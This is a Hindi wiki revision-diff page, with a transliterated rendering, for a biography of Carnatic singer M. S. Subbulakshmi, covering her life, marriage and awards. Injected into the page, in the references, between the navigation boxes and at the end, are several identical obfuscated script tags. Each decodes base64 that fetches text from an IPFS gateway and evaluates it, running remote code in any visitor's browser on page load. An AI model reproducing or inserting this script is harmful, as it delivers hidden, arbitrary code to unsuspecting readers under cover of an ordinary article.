Difference between revisions of "एम. एस. सुब्बुलक्ष्मी"

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
Line 1: Line 1:
−
[[चित्र:Subbulakshami.jpg|thumb|एम. एस. सुब्बुलक्ष्मी|250px]]
+
{{सूचना बक्सा कलाकार
−
पूरा नाम '''मदुरै षण्मुखवडिवु सुब्बुलक्ष्मी''' (जन्म- [[16 सितंबर]], 1916 [[मद्रास]] – मृत्यु- [[11 दिसंबर]], 2004 [[चेन्नई]]) को [[कर्नाटक]] [[संगीत]] का पर्याय माना जाता है और [[भारत]] की वह ऐसी पहली गायिका थीं जिन्हें सर्वोच्च नागरिक अलंकरण [[भारत रत्न]] से सम्मानित किया गया। उनके गाये हुए गाने, ख़ासकर भजन आज भी लोगों के बीच काफ़ी लोकप्रिय हैं। देश के प्रथम [[प्रधानमंत्री]] [[जवाहरलाल नेहरू]] ने उन्हें संगीत की रानी बताया तो वहीं स्वर साम्राज्ञी [[लता मंगेशकर]] ने उन्हें तपस्विनी कहा।
+
|चित्र=Subbulakshami.jpg
 +
|पूरा नाम=मदुरै षण्मुखवडिवु सुब्बुलक्ष्मी
 +
|अन्य नाम=एम. एस. सुब्बुलक्ष्मी
 +
|जन्म=[[16 सितंबर]], 1916
 +
|जन्म भूमि=[[मद्रास]]
 +
|अविभावक=
 +
|पति/पत्नी=सदाशिवम
 +
|संतान=
 +
|कर्म भूमि=
 +
|कर्म-क्षेत्र=फ़िल्म [[संगीत]] (पार्श्वगायिका), भारतीय शास्त्रीय संगीत
 +
|मृत्यु=[[11 दिसंबर]], [[2004]]
 +
|मृत्यु स्थान=[[चेन्नई]]
 +
|मुख्य रचनाएँ=
 +
|मुख्य फ़िल्में= 
 +
|विषय=भारतीय शास्त्रीय संगीत, लोक संगीत, भजन, गज़ल
 +
|शिक्षा=
 +
|विद्यालय=
 +
|पुरस्कार-उपाधि=[[भारत रत्न]], [[पद्मविभूषण]], [[पद्म भूषण]], [[संगीत नाटक अकादमी|संगीत नाटक अकादमी सम्मान]], [[रेमन मेग्सेसे पुरस्कार|रैमन मैग्सेसे सम्मान]]
 +
|प्रसिद्धि=
 +
|विशेष योगदान=
 +
|नागरिकता=भारतीय
 +
|संबंधित लेख=
 +
|शीर्षक 1=मुख्य गीत
 +
|पाठ 1= ‘वैष्णव जन तो तेणे कहिए, जो पीर पराई जाने रे’
 +
|शीर्षक 2=
 +
|पाठ 2=
 +
|अन्य जानकारी=सुब्बुलक्ष्मी ने [[कन्नड़ भाषा|कन्नड़]] के अलावा [[तमिल भाषा|तमिल]], [[मलयालम भाषा|मलयालम]], [[तेलुगू भाषा|तेलुगू]], [[हिंदी]], [[संस्कृत]], [[बंगाली भाषा|बंगाली]] और [[गुजराती भाषा|गुजराती]] में भी गीत गाए।
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन={{अद्यतन|14:05, 22 मार्च 2012 (IST)}}
 +
}}
 +
 
 +
'''मदुरै षण्मुखवडिवु सुब्बुलक्ष्मी''' अथवा एम. एस. सुब्बुलक्ष्मी (जन्म- [[16 सितंबर]], 1916 [[मद्रास]] – मृत्यु- [[11 दिसंबर]], 2004 [[चेन्नई]]) को [[कर्नाटक]] [[संगीत]] का पर्याय माना जाता है और [[भारत]] की वह ऐसी पहली गायिका थीं जिन्हें सर्वोच्च नागरिक अलंकरण [[भारत रत्न]] से सम्मानित किया गया। उनके गाये हुए गाने, ख़ासकर भजन आज भी लोगों के बीच काफ़ी लोकप्रिय हैं। देश के प्रथम [[प्रधानमंत्री]] [[जवाहरलाल नेहरू]] ने उन्हें संगीत की रानी बताया तो वहीं स्वर साम्राज्ञी [[लता मंगेशकर]] ने उन्हें तपस्विनी कहा।
 
==आरंभिक जीवन==
 
==आरंभिक जीवन==
 
====जन्म====
 
====जन्म====
Line 13: Line 44:
 
==पति का मार्गदर्शन==
 
==पति का मार्गदर्शन==
 
[[चित्र:Ms subbalakshmi.jpg|thumb|एम. एस. सुब्बुलक्ष्मी|250px]]
 
[[चित्र:Ms subbalakshmi.jpg|thumb|एम. एस. सुब्बुलक्ष्मी|250px]]
−
सुब्बुलक्ष्मी का मार्गदर्शन करने और विश्व की एक सर्वोत्तम गायिका बनाने में उनके पति का मार्गदर्शन रहा है। उन्होंने स्वयं इस बात को स्वीकार किया है कि यदि मुझे अपने पति से मार्गदर्शन और सहायता नहीं मिली होती, तो मैं इस मुकाम तक नहीं पहुँच पाती। बीसवीं शताब्दी की महान भक्ति गायिका होने के बावजूद वे सदैव नम्र बनी रहीं और संगीत में अपनी ख्याति के लिए अपने पति सदाशिवम् का आभार मानती रहीं। सदाशिवम् की विशेषता यह थी कि, गांधीवादी और स्वतंत्रता सेनानी होने के बावजूद जब से उन्होंने सुब्बुलक्ष्मी का हाथ थामा, ऐसा कोई प्रयत्न शेष नहीं छोड़ा, जिससे सुब्बुलक्ष्मी की ख्याति दिनों-दिन बढ़ती न रहे। उन्होंने सुब्बुलक्ष्मी की गायन सभाओं का इस प्रकार आयोजन किया कि, वे सफलताओं की सीढ़ियाँ चढ़ती ही गईं। इन्हीं के प्रयत्नों के कारण सुब्बुलक्ष्मी को ‘नायटिंगेल ऑफ़ इंडिया’ कहा गया, जबकि इससे पहले यह खिताब केवल [[सरोजिनी नायडू]] को ही प्राप्त था। रामधुन और भक्ति संगीत को गाने की प्रेरणा भी उन्हें सदाशिवम् से ही मिली थी।<ref name="चरित कोश"/>
+
सुब्बुलक्ष्मी का मार्गदर्शन करने और विश्व की एक सर्वोत्तम गायिका बनाने में उनके पति का मार्गदर्शन रहा है। उन्होंने स्वयं इस बात को स्वीकार किया है कि यदि मुझे अपने पति से मार्गदर्शन और सहायता नहीं मिली होती, तो मैं इस मुकाम तक नहीं पहुँच पाती। बीसवीं शताब्दी की महान भक्ति गायिका होने के बावजूद वे सदैव नम्र बनी रहीं और संगीत में अपनी ख्याति के लिए अपने पति सदाशिवम का आभार मानती रहीं। सदाशिवम की विशेषता यह थी कि, गांधीवादी और स्वतंत्रता सेनानी होने के बावजूद जब से उन्होंने सुब्बुलक्ष्मी का हाथ थामा, ऐसा कोई प्रयत्न शेष नहीं छोड़ा, जिससे सुब्बुलक्ष्मी की ख्याति दिनों-दिन बढ़ती न रहे। उन्होंने सुब्बुलक्ष्मी की गायन सभाओं का इस प्रकार आयोजन किया कि, वे सफलताओं की सीढ़ियाँ चढ़ती ही गईं। इन्हीं के प्रयत्नों के कारण सुब्बुलक्ष्मी को ‘नायटिंगेल ऑफ़ इंडिया’ कहा गया, जबकि इससे पहले यह खिताब केवल [[सरोजिनी नायडू]] को ही प्राप्त था। रामधुन और भक्ति संगीत को गाने की प्रेरणा भी उन्हें सदाशिवम् से ही मिली थी।<ref name="चरित कोश"/>
 
==सम्मान और पुरस्कार==
 
==सम्मान और पुरस्कार==
 
भारत के सर्वोच्च नागरिक सम्मान ‘[[भारत रत्न]]’ से सम्मानित किए जाने के अतिरिक्त उन्हें मद्रास संगीत अकादमी ने संगीत कलानिधि की उपाधि से अंलकृत किया था। यह सम्मान प्राप्त करने वाली वह प्रथम महिला थीं। 1974 में उन्हें [[रेमन मेग्सेसे पुरस्कार|‘रेमन मेगसेसे’ पुरस्कार]] प्राप्त हुआ और 1990 में राष्ट्रीय एकता के लिए उन्हें इंदिरा गांधी अवार्ड दिया गया।<ref name="चरित कोश"/>
 
भारत के सर्वोच्च नागरिक सम्मान ‘[[भारत रत्न]]’ से सम्मानित किए जाने के अतिरिक्त उन्हें मद्रास संगीत अकादमी ने संगीत कलानिधि की उपाधि से अंलकृत किया था। यह सम्मान प्राप्त करने वाली वह प्रथम महिला थीं। 1974 में उन्हें [[रेमन मेग्सेसे पुरस्कार|‘रेमन मेगसेसे’ पुरस्कार]] प्राप्त हुआ और 1990 में राष्ट्रीय एकता के लिए उन्हें इंदिरा गांधी अवार्ड दिया गया।<ref name="चरित कोश"/>
 
* [[1954]] में [[पद्म भूषण]]  
 
* [[1954]] में [[पद्म भूषण]]  
 
* [[1956]] में [[संगीत नाटक अकादमी|संगीत नाटक अकादमी सम्मान]]
 
* [[1956]] में [[संगीत नाटक अकादमी|संगीत नाटक अकादमी सम्मान]]
−
* [[1974]] में [[रेमन मेग्सेसे पुरस्कार|रैमन मैग्सेसे सम्मान]]
+
* [[1974]] में [[रेमन मेग्सेसे पुरस्कार|रैमन मैग्सेसे सम्मान]]
 
* [[1975]] में [[पद्म विभूषण]]
 
* [[1975]] में [[पद्म विभूषण]]
 
* [[1988]] में कैलाश सम्मान
 
* [[1988]] में कैलाश सम्मान

Revision as of 08:35, 22 March 2012

em. es. subbulakshmi
poora nam madurai shanmukhavadivu subbulakshmi
any nam em. es. subbulakshmi
janm 16 sitanbar, 1916
janm bhoomi madras
mrityu 11 disanbar, 2004
mrityu sthan chennee
pati/patni sadashivam
karm-kshetr film sangit (parshvagayika), bharatiy shastriy sangit
vishay bharatiy shastriy sangit, lok sangit, bhajan, gazal
puraskar-upadhi bharat ratn, padmavibhooshan, padm bhooshan, sangit natak akadami samman, raiman maigsese samman
nagarikata bharatiy
mukhy git ‘vaishnav jan to tene kahie, jo pir paraee jane re’
any janakari subbulakshmi ne kann d ke alava tamil, malayalam, telugoo, hiandi, sanskrit, bangali aur gujarati mean bhi git gae.
adyatan‎
14:05, 22 march 2012 (IST)
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

madurai shanmukhavadivu subbulakshmi athava em. es. subbulakshmi (janm- 16 sitanbar, 1916 madras – mrityu- 11 disanbar, 2004 chennee) ko karnatak sangit ka paryay mana jata hai aur bharat ki vah aisi pahali gayika thian jinhean sarvochch nagarik alankaran bharat ratn se sammanit kiya gaya. unake gaye hue gane, khasakar bhajan aj bhi logoan ke bich kafi lokapriy haian. desh ke pratham pradhanamantri javaharalal neharoo ne unhean sangit ki rani bataya to vahian svar samrajni lata mangeshakar ne unhean tapasvini kaha.

aranbhik jivan

janm

em. es. subbulakshmi devadasi parivar mean utpann hueean. subbulakshmi ka janm 1916 mean hua tha. 17 varsh ki ayu mean unhoanne chennee sangit akadami mean ek shreshth gayika ke roop mean apana nam darj kara liya tha. prarambh se hi unake man mean apane sangit ke sambandh mean yah bhavana thi ki, unake sangit ko sunakar murajhae hue cheharoan par paramanand ki jhalak dikhaee de.[1]

pahala elabam

subbulakshmi bachapan mean hi karnatak sangit se ju d gayi thian aur unaka pahala elabam mahaj das sal ki umr mean nikala tha. prasiddh sangitachary semmanagudi shrinivas ayyar se sangit ki shiksha grahan karane ke bad unhoanne pandit narayan rav se shastriy sangit ki shiksha li. subbulakshmi ne pahali bar sarvajanik taur par apane gayan ka pradarshan ek samaroh ke dauran kiya. isake bad vah age ki padhaee ke lie madras sangit akadami chali gayi, jahaan sirph 17 sal ki umr mean bhavy karyakram ayojit kiye. unhoanne kann d ke alava tamil, malayalam, telugoo, hiandi, sanskrit, bangali aur gujarati mean bhi git gae. unhoanne 1945 mean 'bhakt mira' namak philm mean behatarin bhoomika ada ki. unhoanne mira bhajan ko apane suroan mean piroya, jo aj tak logoan dvara sune jate haian.[2]

vivah

san 1936 mean vah svatantrata senani sadashivam se milian aur 1940 mean unaki jivan sangini ban gayian. sadashivam ke apani pahali patni se char bachchoan the jinhean subbulakshmi ne apani santan ki tarah pala.[2]

lokapriyata

subbulakshmi ki lokapriyata unake gayan ke karan to hai hi, parantu unhoanne jo bhakti sangit bharat aur sampoorn vishv ko diya hai, usake karan vishesh roop se unhean smaran kiya jata hai. jab vah gaandhi ji ke priy bhajan ‘vaishnav jan to tene kahie, jo pir paraee jane re’ gatian, to ek vishesh prakar ka jadoo-sa shrotaoan par chha jata hai. unhoanne mira ke anek bhajan bhi gae haian. unhoanne mira namak tamil film mean bhi kam kiya. jab is film ka hindi roopantar pesh kiya gaya, to subbulakshmi ko hindi jagat mean vishesh roop jana jane laga. ve isake karan sampoorn desh mean prasiddh ho geean. subbulakshmi ne jab sanyukt rashtr ki asembali mean apana gayan pesh kiya tha, to prasiddh patr ‘nyooyark taims’ ne likha tha ki, ve apane sangit ke dvara pashchim ke shrotaoan se jo sampark sthapit karati haian, usake lie yah avashyak nahian ki shrota unake shabdoan ka arth samajhean. isake lie unake kanth se nikala hua madhur svar pashchimi shrotaoan ke lie sabase saral aur mahattvapoorn madhyam hai.[1]

  • subbulakshmi ke bare mean kaha jata hai ki jo log unaki bhasha nahian samakshate the, ve bhi unaki gayaki sunate the. unaki avaj ko paramatma ki abhivyakti kaha jata tha aur log prasannachit hokar unaka gayan sunate the. unake prashansakoan ki pheharist mean mahatma gaandhi aur javaharalal neharoo sarikhe kee prakhyat log the. unake bare mean gaandhi ji ka kahana tha, vah kisi aur ka gayan sunane ki bajay subbulakshmi ki avaj sunana pasand kareange.[2]

pati ka margadarshan

thumb|em. es. subbulakshmi|250px subbulakshmi ka margadarshan karane aur vishv ki ek sarvottam gayika banane mean unake pati ka margadarshan raha hai. unhoanne svayan is bat ko svikar kiya hai ki yadi mujhe apane pati se margadarshan aur sahayata nahian mili hoti, to maian is mukam tak nahian pahuanch pati. bisavian shatabdi ki mahan bhakti gayika hone ke bavajood ve sadaiv namr bani rahian aur sangit mean apani khyati ke lie apane pati sadashivam ka abhar manati rahian. sadashivam ki visheshata yah thi ki, gaandhivadi aur svatantrata senani hone ke bavajood jab se unhoanne subbulakshmi ka hath thama, aisa koee prayatn shesh nahian chho da, jisase subbulakshmi ki khyati dinoan-din badhati n rahe. unhoanne subbulakshmi ki gayan sabhaoan ka is prakar ayojan kiya ki, ve saphalataoan ki sidhiyaan chadhati hi geean. inhian ke prayatnoan ke karan subbulakshmi ko ‘nayatiangel aauf iandiya’ kaha gaya, jabaki isase pahale yah khitab keval sarojini nayadoo ko hi prapt tha. ramadhun aur bhakti sangit ko gane ki prerana bhi unhean sadashivamh se hi mili thi.[1]

samman aur puraskar

bharat ke sarvochch nagarik samman ‘bharat ratn’ se sammanit kie jane ke atirikt unhean madras sangit akadami ne sangit kalanidhi ki upadhi se aanlakrit kiya tha. yah samman prapt karane vali vah pratham mahila thian. 1974 mean unhean ‘reman megasese’ puraskar prapt hua aur 1990 mean rashtriy ekata ke lie unhean iandira gaandhi avard diya gaya.[1]

nidhan

88 sal ki umr mean mahan gayika em.es. subbulakshmi 11 disanbar, 2004 ko duniya ko alavida kah gayian.

tika tippani aur sandarbh

  1. ↑ 1.0 1.1 1.2 1.3 liladhar, sharma bharatiy charit kosh (hindi). bharatadiskavari pustakalay: shiksha bharati, 932.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. ↑ 2.0 2.1 2.2 2.3 jaduee khanak thi subbulakshmi ki avaj mean (hindi) (ech.ti.em.el) laiv hindustan d aaut k aaum. abhigaman tithi: 16 agast, 2011.

bahari k diyaan

sanbandhit lekh

dekhean • varta • badalean
shastriy nartak v gayak
gopal nayak · oankaranath thakur · tanasen · narayan moreshvar khare · vishnunarayan bhatakhande · nayak bakhshoo · shobha gurtoo · girija devi · b de gulam ali khaan · baijoo bavara · ustad amir khaan · ram chatur mallik · bhimasen joshi · nirmala devi · paravin sultana · faiyaz khaan · pandit jasaraj · kishori amonakar · em. es. subbulakshmi · birajoo maharaj · shanbhoo maharaj · vishnu digambar paluskar · svati tirunal · tyagaraj · gangoobaee hangal · kumar gandharv · mastar madan · di. vi. paluskar · jayakishan maharaj · kalaka prasad · achchhan maharaj · biandadin maharaj · ziya fariduddin dagar · thakur prasad · vinayakarav patavardhan · siddheshvari devi · rita gaanguli · maduraee mani ayyar · gauhar jan · aj aauy chakravarti · sharmila vishvas · shaanti hiranand · iqabal ahamad khan · astad deboo · gulam mustafa khan · jiteandr abhisheki · minati mishra · muthusvami dikshit · vatak kurupat narayan menan · asad amanat ali khan · pandit narasianhalu vadavati · vasuandhara komakali · iandira pi. pi. bora · es. saumya · kamalini asthana · sajan mishra · shubha mudgal · arun bhadu di · rajan mishra · minakshi medhi · shobha nayadoo · tanushri shankar · shanno khurana · sunil manilal kothari · nataraj ramkrishna · shanta rav · prabha atre · nalini asthana · shyamamani devi · kelucharan mahapatr · rritvik sanyal · kanak rele · rezavana chaudhari bannya · shantidev ghosh · ramalal bareth · somadatt battoo · ram kumar mallik · kesarabaee kerakar · alarmel valli · hirabaee barodekar

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

dekhean • varta • badalean
bharat rath‍n sammanit
abulakalam azad · sarvapalli radhakrishnan · amarty sen · veankat raman · bhimarav ambedakar · bhimasen joshi · rajendr prasad · lal bahadur shastri · bidhan chandr ray · javaharalal neharoo · dhoando keshav karve · khan abdul gaffar khan · bhagavan das · chakravarti rajagopalachari · goviand ballabh pant · satyajit ray · si. subrahmanyam · moraraji desaee · iandira gaandhi · madar teresa · ravi shankar · rajiv gaandhi · nelsan mandela · zakir husain · gulazarilal nanda · jayaprakash narayan · vi. vi. giri · vinoba bhave · vaman kane · abdul kalam · mokshaguandam vishveshvaraiya · em. ji. ramachandran · lata mangeshakar · saradar vallabh bhaee patel · bismillah khaan · aruna asaf ali · je. ar. di. tata · gopinath boradoloee · purushottam das tandan · ke. kamaraj · subbulakshmi · si. en. ar. rav · sachin teandulakar · atal bihari vajapeyi · madanamohan malaviy · nanaji deshamukh · bhoopen hazarika · pranab mukharji · karpoori thakur · lalkrishna adavani · chaudhari charan sianh · pi. vi. narasianh rav · em. es. svaminathan

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

dekhean • varta • badalean
reman maigsese puraskar prapt bharatiy
vinoba bhave · si. di. deshamukh · amitabh chaudhari · di. en. khurode · tribhuvanadas ke. patel · jayaprakash narayan · kamaladevi chattopadhyay · satyajit ray · em. es. svaminathan · em. es. subbulakshmi · soanbhu mitra · ila ramesh bhatt · vargiz kuriyan · rajanikaant arol · mabela arol · gaur kishor ghosh · arun shauri · manibhaee desaee · madar teresa · ar. ke. lakshman · bi. ji. vargiz · muralidhar devidas amate (baba amate) · lakshmichand jain · dip joshi · mandakini amte · prakash amte · ke. vi. subanna · banoo koyaji · ravi shankar · ti. en. sheshan · paandurang athavale · mahesh chandr mehata · mahashveta devi · aruna r aauy · kiran bedi · j aaukin arputham · rajeandr sianh · sandip paandey · shaanta sinha · jems maikal liangadoh · araviand kejarival · kulaandeee phraansis · chandi prasad bhatt · pramod karan sethi · lakshminarayan ramadas · vi. shaanta · pi. saeenath · nilima mishra · harish haande · kulaandeee phraansis · palagummi saeenath · sanjiv chaturvedi · aanshu gupta · bezavada vilsan · ti. em. krishnaa · j aaukin arputham · rajendr sianh · kapila vatsyayan · ravish kumar · bharat vatavani · sonam vaangachuk

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

Retrieved from "https://en.bharatdiscovery.org/w/index.php?title=एम._एस._सुब्बुलक्ष्मी&oldid=264816"